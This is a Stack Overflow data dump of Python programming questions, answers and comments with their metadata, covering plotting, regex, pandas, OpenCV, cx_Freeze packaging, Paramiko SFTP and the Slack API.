answer count: 1
has comment: http://stackoverflow.com/comment/80866047
tagged with: bokeh
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80866021
type: UnansweredQuestion
score: -2
has body: I am trying to plot a line chart using bokeh but getting weird chart. i don't have much of experience with bokeh library. I have created ColumnDataSource and passed it to figure. Below is my source data. {'x': [datetime.date(2017, 8, 8), datetime.date(2017, 8, 9), datetime.date(2017, 8, 13), datetime.date(2017, 8, 14), datetime.date(2017, 8, 17), datetime.date(2017, 8, 18), datetime.date(2017, 8, 19), datetime.date(2017, 8, 22), datetime.date(2017, 8, 24), datetime.date(2017, 8, 26), datetime.date(2017, 8, 27), datetime.date(2017, 8, 28), datetime.date(2017, 8, 10), datetime.date(2017, 8, 11), datetime.date(2017, 8, 12), datetime.date(2017, 8, 16), datetime.date(2017, 8, 20), datetime.date(2017, 8, 21), datetime.date(2017, 8, 23), datetime.date(2017, 8, 29), datetime.date(2017, 8, 30), datetime.date(2017, 8, 31), datetime.date(2017, 9, 1), datetime.date(2017, 9, 2), datetime.date(2017, 9, 3), datetime.date(2017, 9, 4), datetime.date(2017, 9, 9), datetime.date(2017, 9, 5), datetime.date(2017, 9, 6), datetime.date(2017, 9, 7), datetime.date(2017, 9, 8), datetime.date(2017, 9, 10), datetime.date(2017, 9, 11), datetime.date(2017, 9, 12), datetime.date(2017, 9, 13), datetime.date(2017, 9, 14), datetime.date(2017, 9, 15), datetime.date(2017, 9, 16), datetime.date(2017, 9, 17), datetime.date(2017, 9, 19), datetime.date(2017, 9, 27), datetime.date(2017, 9, 20), datetime.date(2017, 9, 21), datetime.date(2017, 9, 22), datetime.date(2017, 9, 23), datetime.date(2017, 9, 24), datetime.date(2017, 9, 25), datetime.date(2017, 9, 26), datetime.date(2017, 9, 28)], 'y': created_date_x 2017-08-08 9.0 2017-08-09 10.0 2017-08-10 9.0 2017-08-11 8.0 2017-08-12 8.0 2017-08-13 8.0 2017-08-14 7.0 2017-08-16 8.0 2017-08-17 9.0 2017-08-18 9.0 2017-08-19 9.0 2017-08-20 8.0 2017-08-21 8.0 2017-08-22 7.0 2017-08-23 10.0 2017-08-24 11.0 2017-08-26 9.0 2017-08-27 7.0 2017-08-28 7.0 2017-08-29 9.0 2017-08-30 8.0 2017-08-31 7.0 2017-09-01 8.0 2017-09-02 7.0 2017-09-03 7.0 2017-09-04 7.0 2017-09-05 7.0…
tagged with: python
upvote count: 0

http://stackoverflow.com/q/47022004
tagged with: python
tagged with: regex
type: AnsweredQuestion
has body: For example, if I have something like this: @username test I want it to ignore @username if it starts with an at sign but include anything else so when I run the code I want only test to show.
upvote count: 0
accepted answer: http://stackoverflow.com/a/47022084
downvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/47022084
has comment: http://stackoverflow.com/comment/80991046
has title: Regex that matches anything but ignores anything that starts with an @ sign
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80990973
score: -2

http://stackoverflow.com/comment/80987005
type: AnswerComment
comment on: http://stackoverflow.com/a/46992523
has text: try the asana-math you can get it here https://drive.google.com/open?id=0B3XGn7xdfoSNNDRXZE50dWtXaXM
type: Comment
score: 0

http://stackoverflow.com/comment/81022845
type: QuestionComment
comment on: http://stackoverflow.com/q/47038086
type: Comment
score: 0
has text: What about `from string something`?

http://stackoverflow.com/a/46981578
has comment: http://stackoverflow.com/comment/80917494
has comment: http://stackoverflow.com/comment/80912578
accepted answer of: http://stackoverflow.com/q/46980781
has comment: http://stackoverflow.com/comment/80915179
has comment: http://stackoverflow.com/comment/80916285
has comment: http://stackoverflow.com/comment/80913209
answers question: http://stackoverflow.com/q/46980781
has comment: http://stackoverflow.com/comment/80912118
type: Answer
has comment: http://stackoverflow.com/comment/80915234
has comment: http://stackoverflow.com/comment/80917404
has comment: http://stackoverflow.com/comment/80914955
has body: Basically the Tk and Tcl DLL are both missing. There are two ways you correct this. 1) This is more of a hack and only sometimes works but in this case it should: Copy tcl86t.dll and tk86t.dll from your Python installation to the location of your exe. These can be found at Python36-32/DLLs. That's it. 2) The 'proper' way to do it would be to do something like this: Put this before executable: files = {"include_files": ["C:/File_to_python/Python36-32/DLLs/tcl86t.dll", "C:/File_to_python/Python36-32/DLLs/tk86t.dll"]} and options = { 'build_exe': { 'packages':packages, 'build_exe':files }, } in the place of what you had before. EDIT: Right. This script should work. I completely rewrote the setup script you provided however essentially what you did is correct however the error appeared because the file tcl8.6 was not found and you also forgot to use the include_files function. This can be done manually though. from cx_Freeze import setup, Executable import os os.environ['TCL_LIBRARY'] = "FilePathToPython/Python36-32/tcl/tcl8.6" os.environ['TK_LIBRARY'] = "FilePathToPython/Python36-32/tcl/tk8.6" files = {"include_files":["FilePathToPython/Python36-32/DLLs/tcl86t.dll", "FilePathToPython/Python36-32/DLLs/tk86t.dll", "pi-outline-128.ico"], "packages": ["tkinter"]} base = None setup( name = "Name of exe", version = "0.0", author = "Reader", description = "compile with setup.py build", options = {"build_exe": files}, executables = [Executable("formulas_tkinter_replace2.py", icon="pi-outline-128.ico", base=base)]) Just replace what you need to. As I already said. You can hide the console completely by using base = 'Win32GUI'
has comment: http://stackoverflow.com/comment/80914753
has comment: http://stackoverflow.com/comment/80914750
has comment: http://stackoverflow.com/comment/81847515
score: 0
has comment: http://stackoverflow.com/comment/80912143
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80918555
has comment: http://stackoverflow.com/comment/80915134
has comment: http://stackoverflow.com/comment/80937161
has comment: http://stackoverflow.com/comment/80913967
has comment: http://stackoverflow.com/comment/80912714

http://stackoverflow.com/a/46912328
type: Answer
has comment: http://stackoverflow.com/comment/80773600
answers question: http://stackoverflow.com/q/46912194
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80773272
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80773918
has comment: http://stackoverflow.com/comment/80771815
has comment: http://stackoverflow.com/comment/80773429
accepted answer of: http://stackoverflow.com/q/46912194
has comment: http://stackoverflow.com/comment/80771741
has comment: http://stackoverflow.com/comment/80783056
has body: You defined all your functions well, but you never call them. So you're telling the interpreter here is what every functions does but dont call them yet. This result is doing nothing. Here is an example where I call main(): def main(): login() def login(): username="john" password="apple" print("Enter username:") answer1=input() print("Enter password:") answer2=input() if answer1==username and answer2==password: print("Welcome - Access Granted") menu() def menu(): print("************MAIN MENU**************") main()
score: 1

http://stackoverflow.com/a/47012946
score: 0
answers question: http://stackoverflow.com/q/47012645
has body: Be careful with operations with negative numbers. Maybe your are changing values in a way you don't want due to that. Use sqrt everywhere.
type: Answer

http://stackoverflow.com/comment/80977543
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47015320
has text: Try to blit your image inside of the while loop. Is that your exact code or do you maybe fill the `screen` every frame?

http://stackoverflow.com/comment/80897478
comment on: http://stackoverflow.com/q/46947848
has text: What is the output of `which pip` after you've activated the environment?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81023120
comment on: http://stackoverflow.com/a/47038254
score: 0
type: Comment
has text: Wouldn't this still only select the `ol` element? This probably should be `By.CSS_SELECTOR, '#search-results > li'`
type: AnswerComment

http://stackoverflow.com/q/47043711
has answer: http://stackoverflow.com/a/47338979
accepted answer: http://stackoverflow.com/a/47338979
has answer: http://stackoverflow.com/a/47230061
possible better answer: http://stackoverflow.com/a/47230061
favorite count: 0
type: Question
tagged with: python-3.x
score: 3
has answer: http://stackoverflow.com/a/47326364
has answer: http://stackoverflow.com/a/47230140
has answer: http://stackoverflow.com/a/47347292
has title: The module has been successfully installed but then it's not found when imported? - Python
has body: I'm trying to use the graphviz Python module and I've run into this problem: I pip installed it in my command prompt, but it's not showing up in IPython. I have additionally a Python 3.5 (32-bit) interpreter where it IS showing up, but I'm trying to figure out how to have it installed so it works in IPython. I've been recommended to include the sys.path for each of the interpreters. Anyone have any ideas as to how I'd change it?
has answer: http://stackoverflow.com/a/47356753
tagged with: python
has answer: http://stackoverflow.com/a/47346330
type: AnsweredQuestion
upvote count: 3
downvote count: 0
answer count: 7

http://stackoverflow.com/comment/119529860
has text: @sascha. This is the only solution that actually takes of the situation when the step taking runs out of bounds. I don't think the other person actually tries to understand the optimization's author's take on this issue or cares to. I do have one question about the single-variable optimization. The error messages keeps telling me the length of x0 != length of bounds. How would you set up the arrays input for x0, xmin, xmax and bounds, and properly instantiate aRandomDisplacementBounds object? I tried all kinds of shape with numpy, and none of them works. Thank you!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47058263

http://stackoverflow.com/comment/80960468
has text: I have sent it across to the other process. I can print it and see the values, and just realized I can access each of the values with a[i]. So I'm guessing that's the only way to actually update the values of the array in the subprocess. I was expecting to be able to set the entire array in one step rather than iterating over each element and updating it (which won't be an atomic operation either). My goal is simply to update the value of the array in the subprocess in an atomic way that is then visible to the parent process. A reasonable expectation seems to be `a.set_value([1.0,2.0])`
type: Comment
comment on: http://stackoverflow.com/q/47006861
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81071587
score: 1
has text: Hi Konchshell, Thank you for responding to my question. Based on the requirements that I gave in this posting, yes, your answer can get me on the right start. My business use case is a little different, I was trying to be generic in my posting. Thank you again for your post!
type: Comment
comment on: http://stackoverflow.com/a/47025541
type: AnswerComment

http://stackoverflow.com/comment/80863820
has text: Are you sure, that on this line `for i in links:` list `links` contains >400 elements?
comment on: http://stackoverflow.com/q/46958166
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46995812
tagged with: python
has comment: http://stackoverflow.com/comment/80953319
tagged with: slack
has answer: http://stackoverflow.com/a/47003622
has comment: http://stackoverflow.com/comment/80953400
has comment: http://stackoverflow.com/comment/80952586
has comment: http://stackoverflow.com/comment/80944788
type: UnansweredQuestion
answer count: 1
has title: Message is available even after deleting in Slack channel
upvote count: 1
downvote count: 1
tagged with: slack-api
has body: When I delete a message as Slack Bot, I get success response. But messages still in channel. Below is the python snippet from slackclient import SlackClient slack_token = "xxxx-32165498765-ASDFWERT651V6541FDG651" sc = SlackClient(slack_token) delete = sc.api_call( "chat.delete", channel="C32S1DFRET", ts="1509234662.000060", as_user=True )
favorite count: 0
has comment: http://stackoverflow.com/comment/80953346
type: Question
score: 0
has comment: http://stackoverflow.com/comment/80944840
has comment: http://stackoverflow.com/comment/80953415

http://stackoverflow.com/a/46997823
type: Answer
has comment: http://stackoverflow.com/comment/80950937
accepted answer of: http://stackoverflow.com/q/46997707
has body: Improving from previous answer, we need to use stack by setting two columns as index. cols= ['amount','tdate'] df['new'] = df['amount']/df.drop(cols,1).count(1) #Set the index as new and tdate by droping amount column, stack and drop the nans. x = df.drop(['amount'],1).set_index(['new','tdate']).stack().dropna() #Create dataframe from amount,tdate and the clients ndf = pd.DataFrame({'amount':x.index.get_level_values('new'),'tdate':x.index.get_level_values('tdate'),'clients':x.values}) #Groupby `clients` and `tdate` ndf.groupby(['clients','tdate']).sum().reset_index() Output : clients tdate amount 0 Comp1 10/31/2017 7.000000 1 Comp1 12/31/2017 7.125000 2 Comp1 2/2/2017 2.568750 3 Comp2 1/1/2017 7.550000 4 Comp2 10/31/2017 33.202000 5 Comp2 12/31/2017 26.710084 6 Comp2 2/2/2017 2.568750 7 Comp3 10/31/2017 81.650000 8 Comp3 10/31/2107 4.050000 9 Comp4 1/1/2017 30.000000 10 Comp4 10/31/2017 7.000000 11 Comp5 1/1/2017 7.550000 12 Comp5 10/31/2017 26.202000 13 Comp5 12/31/2017 10.404500
has comment: http://stackoverflow.com/comment/80950959
score: 1
answers question: http://stackoverflow.com/q/46997707
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/80942273
upvote count: 2

http://stackoverflow.com/a/46946272
upvote count: 4
has body: In this case, maybe an approach is to use a python list and append to it, up until it has the desired size, then cast it to a np array pseudocode: matrix = [] while matrix not full: matrix.append(elt) matrix = np.array(matrix)
downvote count: 0
answers question: http://stackoverflow.com/q/46946212
score: 4
type: Answer

http://stackoverflow.com/q/47050736
answer count: 2
tagged with: cvblobslib
has body: I am following this tutorial of Blob Detection for Text purpose and facing some issues, please check if anyone could help. How to extract each detected blob in form of image. How i can draw a rectangle instead of circle. from math import sqrt from skimage import data from skimage.feature import blob_dog, blob_log, blob_doh from skimage.color import rgb2gray import skimage.io as io import matplotlib.pyplot as plt import matplotlib.patches as patches #from imread import imread_from_blob image = io.imread('5.png') #image = (data.hubble_deep_field()[0:500, 0:500]) image_gray = rgb2gray(image) #blobs_log = blob_log(image_gray, max_sigma=30, num_sigma=10, threshold=.1) # Compute radii in the 3rd column. #blobs_log[:, 2] = blobs_log[:, 2] * sqrt(2) blobs_dog = blob_dog(image_gray, max_sigma=30, threshold=.1) #blobs_dog[:, 2] = blobs_dog[:, 2] * sqrt(2) #blobs_doh = blob_doh(image_gray, max_sigma=30, threshold=.01) blobs_list = [ blobs_dog] colors = ['yellow'] titles = [ 'Difference of Gaussian'] sequence = zip(blobs_list, colors, titles) fig, axes = plt.subplots(1, 3, figsize=(9, 3), sharex=True, sharey=True, subplot_kw={'adjustable': 'box-forced'}) ax = axes.ravel() for idx, (blobs, color, title) in enumerate(sequence): ax[idx].set_title(title) ax[idx].imshow(image, interpolation='nearest') for blob in blobs: y, x, r = blob c = patches.Rectangle((int(x - r),int(y - r)), int(2*r), int(2*r),linewidth=2,edgecolor=color,facecolor='none') ax[idx].add_patch(c) ax[idx].set_axis_off() croppedImage = image[int(x-r):int(x+r),int(y-r):int(y+r)] if croppedImage.shape[0] &gt; 0 and croppedImage.shape[1] &gt; 0: io.imsave('C:/Users/A/Projects/Image/Test/test.png', croppedImage) plt.tight_layout() plt.show() http://scikit-image.org/docs/dev/auto_examples/features_detection/plot_blob.html
has answer: http://stackoverflow.com/a/47051231
possible better answer: http://stackoverflow.com/a/47051231
tagged with: opencv
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47051335
linked to: http://stackoverflow.com/q/37435369
accepted answer: http://stackoverflow.com/a/47051335
upvote count: 1
downvote count: 1
tagged with: scikit-image
tagged with: python
favorite count: 0
type: Question
has title: Skimage Blob detection for Text

http://stackoverflow.com/comment/80860613
type: AnswerComment
has text: i did please look pic
comment on: http://stackoverflow.com/a/46956316
type: Comment
score: 0

http://stackoverflow.com/comment/99308231
has text: Did you get anywhere with this? I wanting to render probably several sets of a hundred sprites layered up close together and even a batch of just 1 "tower" of 255 30x30px sprites (all slightly offset) is extremely slow compared to say 25 and they are rendered out of order. Perhaps I should turn them into vertices with textures thereby allowing manual z-ordering with actual coordinates? Seems a little overkill and far more work. I was hoping to achieve something like [this](https://www.youtube.com/watch?v=kjFlIxGzABY)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46960665
score: 0

http://stackoverflow.com/comment/81001003
comment on: http://stackoverflow.com/a/47026908
type: Comment
has text: @CadeB.: Yes prefer using return instead of global variable and printing inside function. I changed code as per Mad Physicist comments.
type: AnswerComment
score: 0

http://stackoverflow.com/a/46991740
type: Answer
answers question: http://stackoverflow.com/q/46991343
has body: To achieve this you will need to use * or ** operator my_func(*[a, b]) # equals to my_func(a, b) And the same works with dicts my_func(**{'p1': a, 'p2': b}) # equals to my_func(p1=a, p2=b) The second thing you need is to get the variable by it's name. Python has a possibility to do this, but it depends on where the variable is stored. If it's an object attribute: my_obj.var # can be getattr(my_obj, 'var') For local variables: my_var locals()['my_var'] locals gives you all local variables as dict. There is also a similar globals function. So far the examples above are useless, but the idea is that you use python object (list, dict or str) instead of writing down the variable name itself. So you can combine it all to build a tuple def my_func(): var1, var2, var3, var4 = range(10, 14) vars = ['var1', 'var2', 'var3'] loc = locals() # var1 - var4 and vars are available as dict now tpl = tuple(loc[k] for k in vars) print(tpl) print(tuple([var1, var2, var3])) So with this you can replace x = np.concatenate((var1, var2, var3), axis = 1) # to x = np.concatenate(tpl, axis=1) NOTE This code will be fragile - moving part of it to another func may break it. And I think that this code style is not easy to read. So in most cases I'd suggest you to search for another approach. Combining all variables in some structure (dict or object) as suggested in first comment may be much better. But I can't say it will work as I don't see the whole your code.
score: 0

http://stackoverflow.com/comment/80906169
has text: @SnehasishSaha glad to help!
type: AnswerComment
comment on: http://stackoverflow.com/a/46978930
score: 0
type: Comment

http://stackoverflow.com/comment/80798627
type: QuestionComment
comment on: http://stackoverflow.com/q/46925624
has text: Just add `_` prefix or suffix to the parameter, if you really want to use that word.
score: 0
type: Comment

http://stackoverflow.com/a/46981646
type: Answer
answers question: http://stackoverflow.com/q/46980958
score: 0
has body: Take a look at python's itertools module. It sounds like the product function will do what you want. Example: import itertools as it list(it.product(*[range(2)]*3)) Gives all lists of length three with two elements [(0, 0, 0), (0, 0, 1), (0, 1, 0), (0, 1, 1), (1, 0, 0), (1, 0, 1), (1, 1, 0), (1, 1, 1)] There's lots of other possibilities with itertools, in particular it also provides permutations and combinations.
accepted answer of: http://stackoverflow.com/q/46980958
type: AcceptedAnswer

http://stackoverflow.com/q/47004598
tagged with: linux
has comment: http://stackoverflow.com/comment/80956245
tagged with: ffmpeg
has comment: http://stackoverflow.com/comment/80955646
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80955791
has comment: http://stackoverflow.com/comment/80956201
tagged with: python
has answer: http://stackoverflow.com/a/47004952
has comment: http://stackoverflow.com/comment/80956804
tagged with: opencv
score: 0
has comment: http://stackoverflow.com/comment/80955748
has comment: http://stackoverflow.com/comment/80956184
tagged with: codec
has body: So cap from opencv 3 doesn't work in CentOS. I had no problem in OSX or Windows 7 which I tried initially. Here is the example code: import cv2 cap = cv2.VideoCapture('/home/grad3/jalal/PycharmProjects/hw4_cs58‌​5/Concession_LAN_8‌​‌​00‌​k.mp4',cv2.CAP_FFMPEG) if not cap.isOpened(): print('not opened') while True: ret,frame = cap.read() if ret == False: print('frame empty') break cv2.imshow('frame', frame) if cv2.waitKey(1) == ord('q'): break And I get: /usr/local/anaconda3/bin/python /home/grad3/jalal/PycharmProjects/hw4_cs585/test.py not opened frame empty Process finished with exit code 0 I can open the video using ffplay vid_name and also here is the result of https://pastebin.com/YGk2DDCi here https://pastebin.com/HSyHSsEZ (ffmpeg codecs). How should I fix this? I have opencv 3.1.0 and here's some sys info. $ uname -a Linux goku.bu.edu 3.10.0-693.5.2.el7.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux and $ lsb_release -a LSB Version: :core-4.1-amd64:core-4.1-noarch Distributor ID: CentOS Description: CentOS Linux release 7.4.1708 (Core) Release: 7.4.1708 Codename: Core cv2. getBuildInformation() General configuration for OpenCV 3.1.0 ===================================== Version control: unknown Platform: Host: Linux 4.8.0-46-generic x86_64 CMake: 3.6.3 CMake generator: Unix Makefiles CMake build tool: /usr/bin/gmake Configuration: Release C/C++: Built as dynamic libs?: YES C++ Compiler: /opt/rh/devtoolset-2/root/usr/bin/c++ (ver 4.8.2) C++ flags (Release): -I/cs/software/anaconda3/include -fsigned-char -W -Wall -Werror=return-type -Werror=non-virtual-dtor -Werror=address -Werror=sequence-point -Wformat -Werror=format-security -Wmissing-declarations -Wundef -Winit-self -Wpointer-arith -Wshadow -Wsign-promo -Wno-narrowing -Wno-delete-non-virtual-dtor -fdiagnostics-show-option -Wno-long-long -pthread -fomit-frame-pointer -msse -msse2 -mno-avx -msse3 -mno-ssse3 -mno-sse4.1 -mno-sse4.2 -ffunction-sections -fvisibility=hidden -fvisibility-…
answer count: 1
type: Question
has title: cap.isOpened(): returns false in CentOS for Python 3 and OpenCV 3.1.0

http://stackoverflow.com/comment/80866231
comment on: http://stackoverflow.com/q/46943874
type: Comment
type: QuestionComment
has text: see also https://stackoverflow.com/questions/46619281/why-is-a-publicly-visible-bazel-protobuf-target-not-declared/46654679#46654679
score: 0

http://stackoverflow.com/q/46941106
tagged with: cumsum
has comment: http://stackoverflow.com/comment/80830510
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80830089
has comment: http://stackoverflow.com/comment/80829447
score: 0
tagged with: pandas-groupby
tagged with: pandas
answer count: 0
has title: Pandas cumsum groupby between dates
has comment: http://stackoverflow.com/comment/80830325
has body: I am trying to get a cumulative sum, grouped by album, where my sales date is between two dates. This works fine with no date range used: df[‘cum_sales’] = df.groupby(by = ['album_name','song_name']) ['sales'].cumsum() This is where its not working for me, When trying to start a new cum sum for only between the dates filtered: df[‘filtered_sales'] = df.groupby(by = [‘album_name’,'song_name’]) ['sales'] [( df['sale_date'] &gt;= df['static_date_col'] ) &amp; ( df['sale_date'] &lt;= pd.datetime.now() ) ].cumsum() Exception error: Column(s) sales already selected. Maybe I should be using a mask instead? At a loss and need some guidance. Per Wen's suggestion I tried the following: df[‘filtered_sales'] = df[‘sales’] [( df['sale_date'] &gt;= ['static_date_col'] ) &amp; ( df['sale_date'] &lt;= pd.datetime.now() ) ].groupby(by = [‘album_name’,'song_name’]).cumsum() Key error: 'album_name'
has comment: http://stackoverflow.com/comment/80830710
tagged with: date-range
type: Question

http://stackoverflow.com/a/47049804
score: 0
type: Answer
has body: It's not entirely clear what you need help with, but perhaps this will give you some ideas that might help you to solve the problem: &gt;&gt;&gt; def vector(x, y, z): ... print("vector: x=%f, y=%f, z=%f" % (x, y, z)) ... &gt;&gt;&gt; vector(1, 2, 3) vector: x=1.000000, y=2.000000, z=3.000000 &gt;&gt;&gt; v = [1, 2, 3] &gt;&gt;&gt; vector(*v) vector: x=1.000000, y=2.000000, z=3.000000
answers question: http://stackoverflow.com/q/47041466

http://stackoverflow.com/a/47052881
has comment: http://stackoverflow.com/comment/81054021
has comment: http://stackoverflow.com/comment/81056534
has comment: http://stackoverflow.com/comment/81056645
has body: Let's use tuple comprehension: element = tuple(float(i) for i in element.split(';')) Additionally, my solution for your problem: import re text = ['Vietnam', '57.7934235704;24.3128625831 58.3834133979;24.42892785 58.2573745795;24.0611983579 58.6127534044;23.4265600929'] def get_tuples_of_float(string): return [tuple(map(float, j)) for j in re.findall('([\d.]+);([\d.]+)', string)] it = iter(text) output = { i : get_tuples_of_float(next(it)) for i in it if re.match('^[A-Z]', i)}
type: Answer
has comment: http://stackoverflow.com/comment/81056378
accepted answer of: http://stackoverflow.com/q/47052758
score: 0
answers question: http://stackoverflow.com/q/47052758
type: AcceptedAnswer

http://stackoverflow.com/q/46931329
favorite count: 0
type: Question
upvote count: 2
has title: Copy file from remote dir to remote sub directory using Paramiko
possible better answer: http://stackoverflow.com/a/46931765
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46931556
accepted answer: http://stackoverflow.com/a/46931556
tagged with: sftp
answer count: 3
score: 1
has answer: http://stackoverflow.com/a/59256822
has body: How to copy a file in a remote server /maindir/fil1.txt to a sub directory /maindir/subdir/file1.txt. I have the SFTP implemented using paramiko. But it always check for the local path to copy from . filename_full_path='/maindir/fil1.txt' destfilename_full_path='/maindir/subdir/file1.txt' sftp.put(filename_full_path, destfilename_full_path) How to tell SFTP that the local path is also in remote host?
downvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46931765
tagged with: paramiko

http://stackoverflow.com/a/47032587
accepted answer of: http://stackoverflow.com/q/47032283
type: AcceptedAnswer
downvote count: 0
score: 8
answers question: http://stackoverflow.com/q/47032283
upvote count: 8
type: Answer
has body: This should be easy. You can extract the pair into two variables as follows: x,y = zip(*&lt;name_of_your_2d_list&gt;) Also, you can pass the same to scatter function as matplotlib.pyplot.scatter(*zip(*&lt;name_of_your_2d_list&gt;). Try the following. It should work: import matplotlib.pyplot, pylab data = [(62725984, 63548262), (64797631, 64619047), (65069350, 65398449), (58960696, 57416785), (58760119, 58666604), (60470606, 61338129), (60728760, 59001882)] matplotlib.pyplot.scatter(*zip(*data)) matplotlib.pyplot.show()

http://stackoverflow.com/q/46990457
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/46990470
tagged with: ipython
type: AnsweredQuestion
downvote count: 0
has body: I have a small program file, here is the relevant code: import numpy as np import pandas as pd from docx import Document #### Setup the file names, also make provisions for having the user select the file #### SHRD_filename = "SHRD - SVN 12485.docx" SHDD_filename = "SHDD - SVN 12485.doc" #SHRD_name = PCB_utility.get_file('Select SHRD file') #SHDD_name = PCB_utility.get_file('Select SHDD file') data = [] keys = {} document_SHRD = Document(SHRD_filename) tables_SHRD = document_SHRD.tables[30] for i, row in enumerate(tables_SHRD.rows): text = (cell.text for cell in row.cells) if i == 0: keys = tuple(text) continue row_data = dict(zip(keys, text)) data.append(row_data) df_SHRD = pd.DataFrame.from_dict(data) #cols = df_SHRD.columns.tolist() print(df_SHRD.tail(20)) s = df_SHRD['HLR Trace Tag'].str.split(' ').apply(pd.Series, 1).stack() s.index = s.index.droplevel(-1) s.name = 'HLR Tags' del df_SHRD['HLR Trace Tag'] df_SHRD.join(s) When I initially make the dataframe, it looks like this: 300 HLR-0000094 HLR-0000095 HLR-0000340 LRU-0000440 301 HLR-0000094 HLR-0000095 HLR-0000341 LRU-0000441 302 HLR-0000094 HLR-0000095 HLR-0000342 LRU-0000442 303 HLR-0000675 LRU-0000745 304 HLR-0000676 LRU-0000746 305 HLR-0000677 LRU-0000747 306 HLR-0000678 LRU-0000748 307 HLR-0000679 LRU-0000749 308 HLR-0000680 LRU-0000750 I need to split the HLR tags into individual rows. At the end of my program it comes back as this: 300 LRU-0000440 301 LRU-0000441 302 LRU-0000442 303 LRU-0000745 304 LRU-0000746 305 LRU-0000747 306 LRU-0000748 307 LRU-0000749 308 LRU-0000750 But when I retype: In [25]:df_SHRD.join(s) Out[25]: 300 LRU-0000440 HLR-0000094 300 LRU-0000440 HLR-0000095 300 LRU-0000440 HLR-0000340 301 LRU-0000441 HLR-0000094 301 LRU-0000441 HLR-0000095 301 LRU-0000441 HLR-0000341 302 LRU-0000442 HLR-0000094 302 LRU-0000442 HLR-0000095 302 LRU-0000442 HLR-0000342 303 LRU-0000745 HLR-0000675 304 LRU-0000746 HLR-0000676 305 LRU-0000747 HLR-0000677 306 LRU-0000748 HLR-0000678 307 LRU-0000749 HLR-0…
tagged with: pandas
score: 1
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/46990470
has title: Dataframe command works in IPython but not script
favorite count: 0

http://stackoverflow.com/q/46957935
tagged with: python
duplicate of: http://stackoverflow.com/q/240178
has title: List within list variable assignment trouble: values get overwritten during assignment
score: 0
answer count: 0
has body: I am working with a list of lists in python and I came across a curious issue with it. For example, if I first create a list populated by placeholder [1,2,3] lists: a = [[1,2,3]]*5 I would get the following result: a = [[1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3]]. If I was to change a specific value of the inside list such as this: a[1][2] = 5 I would get the following result: a = [[1, 2, 5], [1, 2, 5], [1, 2, 5], [1, 2, 5], [1, 2, 5]]. It looks like each of the index = 2 values of the inside list are not changed to my new variable. In this example all the variables are linked between the 5 inside lists. Now, if I was to create this list manually with the following command: b = [[1,2,3],[1,2,3],[1,2,3],[1,2,3],[1,2,3]] And then repeat the assignment: b[1][2] = 5 I would get the following result: b = [[1, 2, 3], [1, 2, 5], [1, 2, 3], [1, 2, 3], [1, 2, 3]] It looks like in the case of list a, I have linked variables but in the case of list b, I do not. Could someone explain what is the reason for this? Is there any way to make list a behave like list b without creating a brand new list? Any info would be greatly appreciated! Thanks!
has comment: http://stackoverflow.com/comment/80864054
type: Question
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/240178
has comment: http://stackoverflow.com/comment/80863237

http://stackoverflow.com/comment/80943625
has text: Check the response body, that usually contains a more detailed error message.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46998427
score: 1

http://stackoverflow.com/a/46993655
score: 1
downvote count: 0
type: Answer
has body: Using reduce: Reduce is a really useful function for performing some computation on a list and returning the result. It applies a rolling computation to sequential pairs of values in a list. In [1]: a,b,c,d,e = 5,6,7,8,9 In [2]: quota=7 In [3]: f=lambda x, y: x + 1 if y &gt;= quota else x In [4]: reduce ( f, [a,b,c,d,e], 0 ) Out[4]: 3 Not really readable but every body loves reduce. Edited due @StefanPochmann's comment - function f fixed
answers question: http://stackoverflow.com/q/46982491
upvote count: 1

http://stackoverflow.com/q/47057400
tagged with: regex
has comment: http://stackoverflow.com/comment/81061988
type: Question
has title: regex expression to exclude lines based on beginning or ending patterns
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81063113
has body: I searching a file for lines that do not match one of three possible regex patterns in python. If I was to search each individually, the patterns are: pattern1 = '_[AB]_[0-9]+$' pattern2 = 'uce.+' pattern3 = 'ENSOFAS.+' Pattern2 &amp; pattern3 are near the beginning of the line (these lines technically start with &gt;). Pattern1 at the end of the string. I've seen ways of combining pattern2 and pattern3 with something like ^&gt;(?:(?!uce|ENSOFAS).+$) (I'm not sure if this formatted correctly). How can I also include pattern1 in a single regex search. The reason I'm doing this is to skip over lines that match to any one of these patterns.
score: 0
has answer: http://stackoverflow.com/a/47058028
tagged with: python

http://stackoverflow.com/a/46986426
score: 0
accepted answer of: http://stackoverflow.com/q/46956095
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46956095
has body: If you make your column type an sqlalchemy.DateTime object, you can run a pretty simple filter; sqlalchemy uses the python datetime.datetime() object. class Element(Base): __tablename__ = 'elements' id = Column(Integer, primary_key=True) name = Column(String(64)) dt = Column(DateTime) date_start = datetime(2017, 10, 27, 2, 0) date_finish = datetime(2017, 10, 27, 4, 0) all_elements_on_interval = session.query(Element).filter(and_(Element.dt &gt;= date_start, Element.dt &lt;= date_finish)).all() Don't forget to import datetime and the sqlalchemy and_ from datetime import datetime from sqlalchemy import and_
type: Answer

http://stackoverflow.com/comment/81065990
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47028248
